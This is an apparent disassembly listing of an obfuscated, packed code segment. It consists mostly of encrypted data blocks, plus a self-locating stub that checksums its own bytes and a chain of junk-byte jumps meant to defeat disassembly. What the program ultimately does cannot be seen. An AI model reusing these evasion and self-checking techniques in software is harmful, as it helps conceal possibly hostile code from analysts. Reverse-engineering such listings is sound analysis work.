		dd 35EF0CE7h, 0A29BFC9Eh, 0DB5BBE5Bh, 0D3AB31ABh, 8A39EF0Eh
		dd 2FAC325Bh, 0A863F9BEh, 3898D979h, 0B744EEBEh, 79D8985Bh
		dd 932F2341h, 0BB20992Eh, 4B7DCE60h, 23A02962h,	9517AD14h
		dd 2EF297BEh, 0F781A7BDh, 5359CC3h, 1D8FE14Ah, 2C869A64h
		dd 755974Fh, 1CC5818Ch,	0CED0DF0Bh, 0CC7BB7B0h,	0CF3E9C9h
		dd 0A18F087Ah, 714D5675h, 5B234842h, 1A1D5BD6h,	0D5E70613h
		dd 83C34A20h, 0B65FC92Eh, 0B93E477Bh, 20631B6Bh, 92906CDEh
		dd 5DFCC4D3h, 84E455AEh, 4FD51E95h, 94DEAE85h, 0A2D5861Fh
		dd 249DBB2Eh, 45B57D6Ah, 254279E3h, 7C369AA1h, 0DEBA74F1h
		dd 4DB6C108h, 0D8FF4359h, 0C7C121E4h, 0D233C264h, 0A57DA828h
		dd 3CA63CCDh, 6A59FDE4h, 19183F5Fh, 3F374DACh, 0FA765F61h
		dd 8F9A8170h, 0D85CB9ADh, 48095C66h, 9A617E85h,	0F94E5352h
		dd 26F49E62h, 0E74585B9h, 40A3D04Fh, 0AB91CB9Dh, 0AD9DB41h
		dd 1EDFAB86h, 0F80BF128h, 94802850h, 0B7A750D8h, 0A750E831h
		dd 96D11392h, 97639496h, 0DFEFF75Eh, 118DC2BCh,	0B2C66037h
		dd 0AA06837Fh, 8EC1F570h, 5A570DF9h, 0E6BCC6C2h, 0CADBAB03h
		dd 14C2525Bh, 0F31EA217h, 943C1DBAh, 596A20B8h,	6D4EB34Bh
		dd 1479E44Fh, 87AC4772h
		dd 152FA203h, 618B322Ah, 69096449h, 0F53EAEDBh,	47CE74FBh
		dd 0A9E8E9E0h, 9071FC3h, 0CAE04189h, 0A0332A52h, 0CD8E2E3Dh
		dd 0D95BC911h, 0E6C91FA3h, 958BE424h, 0A90CA22h, 0DF73918Ch
		dd 78C7B6E4h, 2F58E0B2h, 513D7F84h, 10361705h, 209FC816h
		dd 0F68AB0F3h, 0E9A8BD16h, 3F5B6E98h, 0C37E8B69h, 0BB078150h
		dd 63F262D1h, 81814DC3h, 31C52BC2h, 7296AE57h, 6C7B4551h
		dd 0AC231851h, 3E201D73h, 36AD8477h, 0E32378ABh, 0AFC9C77Bh
		dd 162DCBD8h, 0EEF48C26h, 0B9EA3306h, 4967199Eh, 4DB1741Ch
		dd 0DE0D11CAh, 4928607Eh, 44904DC3h, 59346C31h,	1A9E72D1h
		dd 0E1CDC30h, 0B862D57Ch, 973D39BCh, 0EE52A3D9h, 3950BA82h
		dd 0DBC2F69Bh, 3491BB16h, 11AF7AB8h, 71831EC4h,	7A58DC7Ch
		dd 0ECA68202h, 152BDB50h, 0FDB892E7h, 4DE0D075h, 0EE25CD0Bh
		dd 7375B4F7h, 8790F2Eh,	7DA58807h, 48850D15h, 7CEE72E6h
		dd 0B828BC7Eh, 0EEE10F8Dh, 2EAD2E67h, 913EF666h, 2F089B1Dh
		dd 8A73F451h, 0E7642A60h, 5C059468h, 7A145DA7h,	1FCEAA94h
		dd 0A59578ABh, 0CED9C604h, 12AF4220h, 0BA1468E9h, 67A5033Eh
		dd 12026E5Ch, 0A62CA6C6h, 5A9640C4h, 2FF799CEh,	14B51136h
		dd 4B6E44E8h, 0DCF06B2Bh, 64DBCB4Fh, 2DD8A7D3h,	6BE72DB1h
		dd 0D37292C6h, 3135A277h, 923ECADBh, 1EEBDE43h,	6BC43C25h
		dd 0D3FCBA88h, 0F47A49FEh, 0A029026Dh, 86AEAD36h, 33365BCFh
		dd 49F72E54h, 0FC4B9D98h, 359C1A04h, 8A61E222h,	0A33D07D4h
		dd 0C1D41A40h, 78514E1Dh, 14B3BBBFh, 90D2E9C7h,	70C2D19Eh
		dd 68FB734Eh, 683E28C1h, 0ACB6658Dh, 0F46C2EFDh, 9394E30Bh
		dd 253C530Fh, 0BFA74A31h, 0ECDEF70Ah, 0B1BFB8h,	7A8706E9h
		dd 0DC957ACCh, 0F2924A6Ch, 3DD2DA69h, 0BA36E666h, 0B8E15626h
		dd 65C44CC5h, 0A3344BF0h, 45E6CF4Ah, 753A0C23h,	0EAB6B863h
		dd 905976C4h, 0C7579C00h, 93569B8Bh, 0DB5AB730h, 0C8B4509Fh
		dd 24E9FF24h, 0EFC23EF5h, 59BF814Ah, 2554898Fh,	0C034943Bh
		dd 81576204h, 6E3F678Bh, 3449EE2Fh, 0CCD7C502h,	5948C7F1h
		dd 0D90D4A76h, 0CBE4EE2Ah, 0CEF5F20Dh, 0A17B9C7Ah, 253A7CE3h
		dd 0A39BA122h, 309B241Fh, 98AED8B8h, 885F02B3h,	8FDE8437h
		dd 826F5D47h, 2D28A42Bh, 0B5443398h, 4444F63Bh,	0CA5A4424h
		dd 0FCEC78DFh, 1FD1FB52h, 0EC408B7Dh, 0D6D25B23h, 64DB1716h
		dd 59E14605h, 0EAF9C49Ch, 12D4154Fh, 0C6BC836h,	2C7AB19Eh
		dd 0EE1A1BA2h, 0BD6E0310h, 73168FFh, 0B471EA6h,	0D00D7549h
		dd 5B4110F0h, 718F169Ch, 4EF49229h, 4FCFEAABh, 4A1AF4A0h
		dd 2175C372h, 0D115A1Ah, 0ABE5D663h, 704B3F7Ch,	0E5330879h
		dd 3B37BC97h, 0D9501152h, 10D2B5D0h, 5E882A3Fh,	465BBB9Ch
		dd 0E3331A9Ch, 0E3855AF5h, 4EF7A9E1h, 0F89BAAE8h, 0F6601A41h
		dd 6041536Eh, 9D2D57E5h, 0E4DF43Dh, 8FBFA624h, 0A99711C9h
		dd 0AFEC70BFh, 2FBAD8ADh, 0B988126h, 0F9CB5Ah, 0DF8C4062h
		dd 4F5ACF4Ch, 0E4B532F4h, 2222A370h, 0EE48967Fh, 96D151E7h
		dd 78E50865h, 2691BF08h, 0F2F0099Fh, 4AFAA243h,	0F99DE0D9h
		dd 800756BCh, 8F5CD4E1h, 0C6D4A5C8h, 0B70FBD83h, 0A75F6CB3h
		dd 9903E4C0h, 141B141Ch, 0AE54EF60h, 0EB8FF6BCh, 6D893AC1h
		dd 0C9B6E297h, 0FAA39597h, 1ACD9473h, 0F3FC1858h, 317B8B09h
		dd 0D4238855h, 0E7354336h, 317A3617h, 599DC9DCh, 58A69742h
		dd 1D1B61C2h, 85B99683h, 0CDA389FDh, 0F0A9DFA6h, 4F8AF6C1h
		dd 79FE8F9Ch, 0C0FF9DADh, 0BCDCC4AEh, 0AC91D8CDh, 0F2DA44DCh
		dd 86AA495Ch, 2225596Bh, 0D22D25A4h, 0F652D8F2h, 44332A62h
		dd 33ED35EFh, 7D146822h, 0CC45FDCDh, 5388B079h,	0BFEB5FCDh
		dd 307AAF25h, 0B3B13853h, 5B9FF646h, 9AADBF04h,	0FC36B9B0h
		dd 0A25D409Ah, 976C652Fh, 41D73EEEh, 23BEA68Fh,	0D699459Fh
		dd 7303B134h, 443222F9h, 718514E9h, 58CCE63h, 311ABD59h
		dd 0AA80C3DAh, 30D23E3Eh, 0AB0947C7h, 4C1FF91Dh, 9A28D34Dh
		dd 267205B6h, 0E9F1E881h, 0AF88E82Fh, 0E629DE17h, 18F1E5BEh
		dd 84670B1Eh, 0FE24A362h, 0EF0EF681h, 7C50165Bh, 5BF3C913h
		dd 0B99766Ch, 0A302440Ah, 0A006691Eh, 8590A776h, 0ED3D3137h
		dd 0C82B934Fh, 0DC335DC2h, 7D516AACh, 0F619FE4Eh, 49027767h
		dd 0D7CBC569h, 0F4781EF2h, 54FAA6CCh, 55E43769h, 6097EE6Ch
		dd 331624EEh, 0D198CF87h, 0B9BD2B66h, 4009115Ch, 0E9E60FE3h
		dd 0B4D18696h, 0E5D3BD7Ah, 8CDC043Bh, 2D08461Dh, 6A4A23F4h
		dd 86C79F78h, 0F12B18BEh, 46F773BFh, 0FC49568Ch, 85BC6D6Ch
		dd 134B89EDh, 1BDFCC14h, 3DE7273Dh, 0B7ED2470h,	0A4311003h
		dd 63E5B7h, 0F42A48D2h,	0DF12761Fh, 1714FF40h, 0A4B6E41Ch
		dd 174B56D2h, 6BDF2D8h,	69F91058h, 183CCC63h, 7E34C15Dh
		dd 0E9144CEFh, 583CBC84h, 0D9BD2C11h, 22C0A72h,	0FA482D37h
		dd 0B3552FC2h, 0C73F7AD1h, 81CFB9C1h, 31514B43h, 2FF25980h
		dd 0C2672A7Ah, 0E380550Dh, 62EEF781h, 6C21E8ABh, 18051E6h
		dd 0CD14C506h, 5D05DCE5h, 2E03176Eh, 3E942F9Dh,	6D5569CDh
		dd 3EF04A5Ah, 0A453AE8Eh, 8CDB157h, 0E7948D78h,	0DFF1D737h
		dd 0B4BD5FA8h, 1740BA95h, 8B08C816h, 0F48C6471h, 27E6B567h
		dd 0C8E1B9C1h, 0F8165B94h, 0F7119F5Ah, 7CC20EA1h, 654FE360h
		dd 0AEA65D57h, 339D58DBh, 0A2BF9CB3h, 31DD902Bh, 9F72882Dh
		dd 0AB8DF76Eh, 89D8F345h, 7E9F2663h, 0E8474363h, 0B56341F0h
		dd 0B0A4F15Fh, 4A02867Fh, 0AB1E4A86h, 0F119F48h, 858CD9D8h
		dd 57B70F1h, 5F4247E7h,	0BADFC8C1h, 9123CC59h, 0FC2CAE0Dh
		dd 2898A45Dh, 98A19389h, 0A022D7D8h, 9D70A889h,	67A59DB8h
		dd 0E76E834Ch, 0C6A3B42Eh, 4E3CFD73h, 68A660F6h, 0FD3B68B2h
		dd 8AF56086h, 2DB0A4CBh, 8F006502h, 0ABC24971h,	42490212h
		dd 0C1F97553h, 0CFB160E4h, 0DB2BB367h, 0AC7F3B64h, 0D6E4177h
		dd 0D12199BFh, 3E5658D6h, 94FEADE8h, 0D6112C29h, 0FE98A8BBh
		dd 0D6178401h, 4BC36E32h, 0AB5DC669h, 658A3B44h, 659F2665h
		dd 4FC96056h, 0B774A2A2h, 9DAF5CDBh, 0C8FFAD9Eh, 0A5CB3128h
		dd 4532E58Dh, 0F9C46E72h, 494BCDCEh, 0FF7E1C6Bh, 0CB7A1ACDh
		dd 6215AE75h, 0C68E8BD5h, 0BD7FF170h, 0E50B375Ch, 5EF1074Ch
		dd 92C86C18h, 491F4C32h, 44EFAF2Ah, 0DB49B575h,	0CF371BD3h
		dd 9A11273Bh, 0E07ADA12h, 37684315h, 2BA2952Ah,	960A0FD1h
		dd 0C2B0EF14h, 0E4B0FF02h, 55F20941h, 607ABD6Eh, 34EAFECEh
		dd 0AA6D207Ch, 958E2ACBh, 0E592652Dh, 0A66D76F7h, 150C1D1Eh
		dd 454B01BEh, 7FA553F2h, 0AE358926h, 55FAD5F4h,	802402C8h
		dd 0E26F45D0h, 0AAE72D7Bh, 0A96058C9h, 0E3C352A2h, 85A19B75h
		dd 0D7E497D1h, 8232B00Fh, 4C30900Bh, 95F41873h,	58E98D54h
		dd 0FAEBBE8Ch, 206E17B1h, 31D84EDDh, 0B3ACD4FFh, 40743A4Dh
		dd 4B33E064h, 365A7C1h,	8B64D335h, 0FB281EFBh, 4C0E7D47h
		dd 0E203D746h, 0C113818Ch, 62416A05h, 0D9B14ED8h, 0DA922CB0h
		dd 64D9A8E3h, 903CF38Dh, 5CCFB837h, 7F28D151h, 2D0861F8h
		dd 3B13360Ch, 7C439719h, 5CFE541Fh, 0DC7A6981h,	424305A3h
		dd 0D7B34280h, 0FDC56AEBh, 94E5676Fh, 6D46476Bh, 0C93D2528h
		dd 3DF213B5h, 678282ACh, 0D2EA3A4Eh, 2064F2BAh,	6B52D7B8h
		dd 0D0482F14h, 85254AD9h, 8970CA74h, 430A3808h,	553A147Fh
		dd 8959194Eh, 680FD40Fh, 0E0B5F743h, 4F483891h,	47BE0B34h
		dd 0B83AB45Ch, 9ACE5DAAh
		dd 0D2AE24D5h, 0FF98C2B3h, 924D7904h, 6FBB7156h, 7FE6F3D1h
		dd 56BE10C4h, 0B41DEB79h, 2A253C18h, 608253EBh,	0F3060B25h
		dd 84BC310Dh, 0FE995DC0h, 0BB5516FDh, 0B3BB8F42h, 27798786h
		dd 5F7D64BEh, 0DBD73175h, 0F49503Ah, 0EEEDB6BDh, 0B7381567h
		dd 6DC6BA6Bh, 9397064Ah, 78480BF6h, 0BDA98042h,	6D7FC045h
		dd 12F56CCCh, 78021E7Bh, 42F6A3BAh, 0A88A0D3Eh,	0F638A9E6h
		dd 0F9DF8DE9h, 855B9311h, 0EEDE3E15h, 7DDB01B0h, 0DC65E5B0h
		dd 0AAC1D844h, 7C20852Eh, 5F720EAAh, 0FFB570F9h, 8E95DC31h
		dd 0E6197528h, 0A6507978h, 7B10E3BEh, 0DB060FA3h, 58BD15EAh
		dd 0C506EAD8h, 0FB2AA5Ah, 0F4098E1Ch, 6361E8EAh, 6D70318Fh
		dd 2A39A596h, 9CBC84C1h, 0F551BF0Dh, 0B6CE0E0Bh, 9FA2C993h
		dd 17C5D610h, 0D6817406h, 0C3A8DE0Ch, 0E36EDCDFh, 0AC176AF9h
		dd 9002263Fh, 9F9D811Bh, 9915A33Ah, 0E56EE22Fh,	4754F70Ah
		dd 0AD905C47h, 0E8331012h, 5D37BA06h, 2F91DB6Fh, 78F0409Eh
		dd 0DD3CC175h, 90EAAC01h, 8753A738h, 5B927B9Dh,	8483D55Fh
		dd 9FACE8BEh, 37A16769h, 0E1646D23h, 4434D8B6h,	6B287EAEh
		dd 9DF94859h, 0F0BA72A8h, 28045695h, 0D156ED58h, 0D57C06D0h
		dd 6084DBE3h, 7A98D21Dh, 542E05A6h, 0A83417D0h,	0A8AFE84Dh
		dd 955C4B13h, 0BF226689h, 0DB9CF9C1h, 0C40EEDDFh, 989E48DCh
		dd 0D6BEA70Ch, 0D862DD31h, 0F3FAFE4Ch, 632EDF5Ah, 5F0D3B03h
		dd 4E187CEDh, 491BE6E8h, 0D4DCE60Ch, 8082F201h,	21977BCFh
		dd 0A37E7D47h, 9A3D3FE9h, 41E61150h, 445ECB4Ch,	0C54F73E4h
		dd 0E7FB08A6h, 4B7A6ACh, 675DC2ABh, 4BA02ADEh, 0C8B42E3Ah
		dd 0D47F0C21h, 0CCA13AB6h, 2B6DFE5Eh, 0DBEB4186h, 0B31318BEh
		dd 0D71E629h, 71273D06h, 519E2A4Eh, 9199A59Ah, 34C56D7h
		dd 234AED48h, 8FD60BB3h, 0A37A0D77h, 5727AE00h,	74600A83h
		dd 0D02838F4h, 0E5EE5F57h, 0EDFA3FD7h, 38598CFAh, 915456D9h
		dd 6974073h, 5A976B91h,	0D63DB943h, 318AC288h, 2DF1CA04h
		dd 0EF495B38h, 0DAF01F3Dh, 0B9389387h, 0B586D007h, 33E2F399h
		dd 4BA85D9Dh, 6D94A9DDh, 0CA877FEFh, 8649CEC8h,	0B677975h
		dd 7F24F318h, 2922BB85h, 0C419AC76h, 78762604h,	47526670h
		dd 913B1DAh, 0CE2E67Ch,	9891DCE5h, 197BECF2h, 0B9B1F85Bh
		dd 0F09F5B52h, 0BD07144Ch, 22B8738Ah, 0C96AE713h, 0DEBD1447h
		dd 0AC0FD692h, 42039E29h, 0EB27F39Ah, 22613E54h, 6CFA091Dh
		dd 0C2C0BEFEh, 1B5ACC8Eh, 6F99E276h, 0BBF2328Ch, 9185FA79h
		dd 0A9BEFA1Ah, 5698D126h, 271642B7h, 0ABEB3FB5h, 61E70BD1h
		dd 13D4FE4Fh, 11A6999Fh, 0B4C79B9Fh, 0CBC03890h, 6ABA2B94h
		dd 2B8F449Ch, 2ADC594h,	80F7D04h, 6CC5BDF5h, 0F9339919h
		dd 0E88DFB6h, 3B919E5Eh, 19DC44FDh, 51E7728Dh, 0E2C9F8E6h
		dd 0E4BAA9F2h, 0EDFE9C4Ch, 0D26382CEh, 0A0167E51h, 2FD6781Ah
		dd 12497F63h, 9929BCC9h, 9772B0E5h, 0EC24C9BFh,	0B57FFD82h
		dd 9ED9D06Fh, 9197EE4Ah, 128B4071h, 368E3CFCh, 9DD08F7Fh
		dd 0FA68AB82h, 0CCF11C77h, 8830BAD3h, 57170261h, 0E7E3645h
		dd 0BAC54FA6h, 1EE4DF6h, 6A97CCE1h
		db 13h
; ---------------------------------------------------------------------------


loc_46BCD9:				; CODE XREF: DMN1:loc_46C9A1j
		popa
		pop	ebp
		jmp	loc_469C00
; ---------------------------------------------------------------------------
		dd 8FE83BB2h, 146018A1h, 0DC17172Bh, 0CDC18F6Eh, 0EBC2A223h
		dd 12D8F062h, 0D57DFFFh, 0E3D37536h, 0AB725A28h, 0CED7B9C9h
		dd 5F7DFD68h, 8B09EA38h, 3A3DB548h, 0F15293Fh, 9685FF9Ch
		dd 0A87C57F9h, 0D61736BEh, 0F30F8AD6h, 227E1CB0h, 31169249h
		dd 0C3691E2Dh, 845818C4h, 8F7E8111h, 7DB35B2Bh,	22036351h
		dd 0D6FA612Bh, 7428806Eh, 0C6CC8FD8h, 38D8A7F0h, 0DE2607C2h
		dd 4132B59Dh, 0D7930CF8h, 3A704E87h, 0A1F94D16h, 109D5692h
		dd 985B5A23h, 58074040h, 6C0D55BDh, 0A950FE91h,	8865F81Eh
		dd 960A35C5h, 50E3DD62h, 6227F0Ah, 0D6B4A619h, 0AFFDA58Ah
		dd 2F37B5CBh, 27015DE5h, 12E8B6F7h, 3C22DA82h, 51D65740h
		dd 0BA4DB7D0h, 89AC3AE4h, 4544F79Eh, 9C694623h,	1F13681h
		dd 224D16h, 81E1B551h, 54B8216Ah, 0E887B082h, 129B12F0h
		dd 0F5D2157Bh, 3ABAB8E3h, 38D6C783h, 0ED61A110h, 9BDBCFC1h
		dd 95D926B2h, 0ABCDE1F6h, 2D8A63F3h, 4B9C12FCh,	0D4D7D95Ch
		dd 10602DDEh, 0EBCC62EEh, 3528AE66h, 0A6D63190h, 270EA3CBh
		dd 0F5BA9A38h, 0B04ECA58h, 74657C93h, 0A43AF806h, 2F2DE3B8h
		dd 8C3CE87Bh, 31744C71h, 5979D2AFh, 3742E1ECh, 0AAAC6452h
		dd 1DEF03F5h, 0A7886DB4h, 6A708DC7h, 83FD2DC6h,	0C12E82BFh
		dd 31EC48E7h, 0FE1E10A6h, 77311EACh, 19F6CDA5h,	0B1B20190h
		dd 59592B3Eh, 0CCE0566Dh, 71F5A075h, 8C20D1ACh,	61770263h
		dd 62C64E1Ah, 2666D1E8h, 6026664Ah, 0EAF50975h,	6C5E276Fh
		dd 66CE8E67h, 21B0E9C0h, 0A6BC7441h, 95B36992h,	83429A2h
		dd 0A9277A09h, 78F1EC0Fh, 9FEB6118h, 0AEC55C2Ah, 0A1AF5AC2h
		dd 8D11FC6h, 7CEADCCDh,	747A785Eh, 2C5520C6h, 0A12297B5h
		dd 0A368E372h, 887C0F92h, 71CBCEFh, 9C6B8160h, 1A5490A6h
		dd 0C2390B61h, 8829C185h, 6391D959h, 0D70E36C9h, 0F2372B93h
		dd 985BEB96h, 6197FB96h, 0FF3BB451h, 3B2D8BC3h,	82635B4Bh
		dd 10F49789h, 0DA2D4F3h, 97F10A08h, 68BCD649h, 0A0C3FEC3h
		dd 95E6BD8Dh, 1E992CBDh, 370E37C6h, 1302B711h, 5B901FB0h
		dd 0CE8E4CB9h, 0E72D9FF4h, 7F5D4B0Ah, 0B58514F0h, 0BDD27A8Ah
		dd 0E50B4D24h, 0BF7826FAh, 2FB1FDB7h, 7D601C2Eh, 0A73FB2ACh
		dd 0A3DB71ACh, 11A73D52h, 760BD5B2h, 20B478EFh,	545731FDh
		dd 0DA9776BAh, 0A6508D7Dh, 0A19D22A6h, 25C605D6h, 1A30AACDh
		dd 0D731EAE9h, 5D458BC0h, 0B935C1ADh, 76BC0EF5h, 528BF7CDh
		dd 6440532Eh, 0A4E65DF4h, 5CD6DA62h, 0EEA5E08Dh, 7A3CD643h
		dd 5BCA4D5Ch, 35D72833h, 61EFC86Dh, 29B2707Fh, 692CBA61h
		dd 9688305Bh, 0FA472FF9h, 7EF723C8h, 77B8DDBh, 7EF760EEh
		dd 0F699E9B2h, 39E3FF0h, 9F42FD7Bh, 0F3480B94h,	7335EDA0h
		dd 0CBD6282Dh, 0E8E14CDEh, 7016F98Ah, 0EE7A13A7h, 99DBE329h
		dd 0F2B49EA5h, 4B6E7110h, 0CDF38178h, 0F9A6411Fh, 0CD4D121h
		dd 0ED6FCA5Ah, 0B2E094Fh, 0E46E9611h, 1C19F4C7h, 0D2A6CC1Ah
		dd 0E39A6BC7h, 9EFF09B4h, 0C083CAA8h, 0E579AB73h, 676DDD72h
		dd 98481823h, 0DC6FAAFFh, 875F0E79h, 3DCAA6DBh,	2D47B560h
		dd 0C94FE4FFh, 5B845B64h, 0D1C6D4C5h, 0EE710E1Ch, 2E62F73Ch
		dd 0AEDC5742h, 142CD327h, 83E5006Dh, 0ED8BB0BBh, 0A49140F9h
		dd 452E2F77h, 549AE220h, 0AA1F66D6h, 0E03A42C7h, 0FD3EE524h
		dd 5AF5489Dh, 0B9370327h, 0F9BF4F41h, 93E6F4CDh, 0B628E856h
		dd 9851707Dh, 75CE7C81h, 1402A70Dh, 7CE5AB2Bh, 0DB5F1853h
		dd 6693B1F7h, 1CE014CAh, 0BE744978h, 6AFD08F0h,	8F407D5h
		dd 20895076h, 6BC492CBh, 0EFD91322h, 0D85447FBh, 3489743h
		dd 935C9C3Eh, 0E07AA517h, 0A3D00575h, 17EB0962h, 0BC9A6B18h
		dd 226CE1EBh, 4BDE4D58h, 5F0BE8FFh, 0C564C5CAh,	72E1E786h
		dd 675DCDF6h, 985815C4h, 3E15FC3h, 5DBBD8A5h, 0A4655DDCh
		dd 3756E7DFh, 4AC6BF03h, 7F02B023h, 0FA33018Ah,	6ED9E1F8h
		dd 4BFEF089h, 48F15A09h, 783EAFF2h, 0A397ADBAh,	0F9CF95BCh
		dd 95F50F39h, 8B718A78h
; ---------------------------------------------------------------------------


loc_46C134:				; CODE XREF: DMN1:0046C9A8j
		push	ebp
		mov	ebp, esp
		call	$+5
		pop	ebp
		sub	ebp, 6C13Ch
		pusha
		mov	esi, 6C134h
		add	esi, ebp
		mov	edi, 872h
		push	ebx
		push	ecx
		push	edx
		push	esi
		push	edi
		cld
		xor	ecx, ecx
		dec	ecx
		mov	edx, ecx
		push	ebx


loc_46C15C:				; CODE XREF: DMN1:0046C185j
		xor	eax, eax
		xor	ebx, ebx
		lodsb
		xor	al, cl
		mov	cl, ch
		mov	ch, dl
		mov	dl, dh
		mov	dh, 8


loc_46C16B:				; CODE XREF: DMN1:0046C17Ej
		shr	bx, 1
		rcr	ax, 1
		jnb	short loc_46C17C
		xor	ax, 8320h
		xor	bx, 0EDB8h


loc_46C17C:				; CODE XREF: DMN1:0046C171j
		dec	dh
		jnz	short loc_46C16B
		xor	ecx, eax
		xor	edx, ebx
		dec	edi
		jnz	short loc_46C15C
		pop	ebx
		not	edx
		not	ecx
		mov	eax, edx
		rol	eax, 10h
		mov	ax, cx
		pop	edi
		pop	esi
		pop	edx
		pop	ecx
		pop	ebx
		push	eax
		jmp	short loc_46C1B4
; ---------------------------------------------------------------------------
		dd 504AADBCh, 8FF3922Ah, 0E61AE91Bh, 8B2F8398h,	11FD6DE7h
		dd 0D54DC74Eh
; ---------------------------------------------------------------------------


loc_46C1B4:				; CODE XREF: DMN1:0046C19Aj
		jmp	short loc_46C1C9
; ---------------------------------------------------------------------------
		dw 2A4Ch
		dd 132EF16Eh, 0BF880757h, 0D5E8A80Fh, 0BFB1167Eh
		db 0C7h
; ---------------------------------------------------------------------------


loc_46C1C9:				; CODE XREF: DMN1:loc_46C1B4j
		stc
		xor	esi, 5B0A3071h
		jmp	short loc_46C1E3
; ---------------------------------------------------------------------------
		db    8
		db  87h	; 
		db  31h	; 1
		db  69h	; i
		db  4Fh	; O
		db 0E3h	; 
		db  5Bh	; [
		db  81h	; 
		db 0A3h	; 
		db  16h
		db 0BFh	; 
		db  18h
		db  6Fh	; o
		db  52h	; R
		db 0EBh	; 
		db 0A6h	; 
		db 0F4h	; 
; ---------------------------------------------------------------------------


loc_46C1E3:				; CODE XREF: DMN1:0046C1D0j
		mov	ebx, 41000h
		jmp	short loc_46C1FF
; ---------------------------------------------------------------------------
		dw 0AB1h
		dd 5A4A1BD8h, 1CD6431Ah, 0B586594Ch, 2CC26FE3h
		db 0F4h, 18h, 43h
; ---------------------------------------------------------------------------


loc_46C1FF:				; CODE XREF: DMN1:0046C1E8j
		mov	eax, 0ABE0h


loc_46C204:				; CODE XREF: DMN1:0046C8AEj
		jmp	short loc_46C211
; ---------------------------------------------------------------------------
		dw 7FA4h
		dd 0A0038E1Dh, 0AD08D4EAh
		db 3Ah
; ---------------------------------------------------------------------------


loc_46C211:				; CODE XREF: DMN1:loc_46C204j
		cmc
		cmc
		jmp	short loc_46C22C
; ---------------------------------------------------------------------------
		db 5Ah,	23h, 19h
		dd 0D8359338h, 0BAB1E96h, 0E6469B10h, 427F5F08h, 5920DD9h
; ---------------------------------------------------------------------------


loc_46C22C:				; CODE XREF: DMN1:0046C213j
		jmp	short loc_46C23A
; ---------------------------------------------------------------------------
		dw 749Ch
; ---------------------------------------------------------------------------
		mov	eax, ds:625827F3h
		dec	ebx
		mov	bh, 33h
		xchg	eax, esp


loc_46C23A:				; CODE XREF: DMN1:loc_46C22Cj
		xchg	ebp, esp
		sbb	edi, 2CDC3D00h
		jmp	short loc_46C246
; ---------------------------------------------------------------------------
		db 89h,	1Ch
; ---------------------------------------------------------------------------


loc_46C246:				; CODE XREF: DMN1:0046C242j
		clc
		jmp	short loc_46C257
; ---------------------------------------------------------------------------
		db 8Fh,	0B8h, 0CAh
		dd 55F6CF96h, 0B9C8ABA6h
; ---------------------------------------------------------------------------
		add	al, 0EDh
		push	ebx


loc_46C257:				; CODE XREF: DMN1:0046C247j
		jmp	short loc_46C25D
; ---------------------------------------------------------------------------
		db 6Ch,	2Fh, 91h
		db 2Dh
; ---------------------------------------------------------------------------


loc_46C25D:				; CODE XREF: DMN1:loc_46C257j
		jmp	short loc_46C26A
; ---------------------------------------------------------------------------
		db 0FEh
		dd 539B442Fh, 376AFF35h
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 64h
; ---------------------------------------------------------------------------


loc_46C26A:				; CODE XREF: DMN1:loc_46C25Dj
		xchg	edi, ecx
		jmp	short loc_46C273
; ---------------------------------------------------------------------------
		sahf
		dec	edi
		or	ebp, [edi]
		push	es


loc_46C273:				; CODE XREF: DMN1:0046C26Cj
		jmp	short loc_46C27E
; ---------------------------------------------------------------------------
		db 0F4h, 0E9h, 0B6h
; ---------------------------------------------------------------------------
		xor	dl, 0ABh
		test	[ebp+1Dh], dh


loc_46C27E:				; CODE XREF: DMN1:loc_46C273j
		xchg	edi, esi
		mov	edx, esp
		jmp	short loc_46C29E
; ---------------------------------------------------------------------------
		dd 22759260h, 4A25CF8Bh, 488DEC9Ch, 8CA859F8h, 56F04647h
		dd 10523363h
; ---------------------------------------------------------------------------
		inc	edx
		pop	edx


loc_46C29E:				; CODE XREF: DMN1:0046C282j
		cld
		jmp	short $+2
		test	edi, 9C235FDAh
		jmp	short loc_46C2AA
; ---------------------------------------------------------------------------
		db 0E4h
; ---------------------------------------------------------------------------


loc_46C2AA:				; CODE XREF: DMN1:0046C2A7j
		jmp	short loc_46C2CB
; ---------------------------------------------------------------------------
		dd 5F2E21D0h, 0A9DE1F42h, 0BC4EF041h, 541E2151h, 0F8D40728h
		dd 0F0CCE14Bh, 0ADCAAABDh
		db 0E4h, 0B5h, 0D0h
; ---------------------------------------------------------------------------


loc_46C2CB:				; CODE XREF: DMN1:loc_46C2AAj
		jmp	short loc_46C2E7
; ---------------------------------------------------------------------------
		db 3Bh,	0D2h, 1Ah
		dd 41C61BBBh, 33F957C9h, 0DB34CFEDh, 0B9156D92h, 72420D57h
		db 21h,	0EDh, 0E2h
; ---------------------------------------------------------------------------


loc_46C2E7:				; CODE XREF: DMN1:loc_46C2CBj
		jmp	short loc_46C306
; ---------------------------------------------------------------------------
		db 85h,	0B3h, 56h
		dd 30708EAh, 5621B617h,	728FEF74h, 0F72B09D4h, 0B97BC256h
		dd 0EABF8797h
		db 0CEh, 91h
; ---------------------------------------------------------------------------


loc_46C306:				; CODE XREF: DMN1:loc_46C2E7j
		add	edx, ebx
		xchg	ebx, ebp
		test	edi, 0FB7215F0h
		jmp	short loc_46C31D
; ---------------------------------------------------------------------------
		dw 65CEh
; ---------------------------------------------------------------------------
		cmp	byte ptr [ebx],	2Dh
		push	es
		popa
		mov	byte ptr [eax+2], 7Ah


loc_46C31D:				; CODE XREF: DMN1:0046C310j
		xor	ecx, 9233541Fh
		jmp	short loc_46C32B
; ---------------------------------------------------------------------------
		db 0A3h, 2Ah, 0FAh
		db 0F7h, 0EDh, 0D8h
; ---------------------------------------------------------------------------


loc_46C32B:				; CODE XREF: DMN1:0046C323j
		clc
		jmp	short loc_46C32F
; ---------------------------------------------------------------------------
		db 81h
; ---------------------------------------------------------------------------


loc_46C32F:				; CODE XREF: DMN1:0046C32Cj
		jmp	short loc_46C341
; ---------------------------------------------------------------------------
		db 9Dh,	0A8h, 8Eh
		dd 0E9F923D6h, 389B6892h, 67FCE33Bh
		db 0C1h
; ---------------------------------------------------------------------------


loc_46C341:				; CODE XREF: DMN1:loc_46C32Fj
		jmp	short loc_46C34B
; ---------------------------------------------------------------------------
		db 0Ch
		dd 8CF150C6h
		db 0B2h, 57h, 0BDh
; ---------------------------------------------------------------------------


loc_46C34B:				; CODE XREF: DMN1:loc_46C341j
		jmp	short loc_46C364
; ---------------------------------------------------------------------------
		db 2Eh,	0ADh, 0F9h
		dd 0D1DC7810h, 9F1F22BAh, 0A5761FC0h, 227CEBEAh, 6DC98360h
; ---------------------------------------------------------------------------


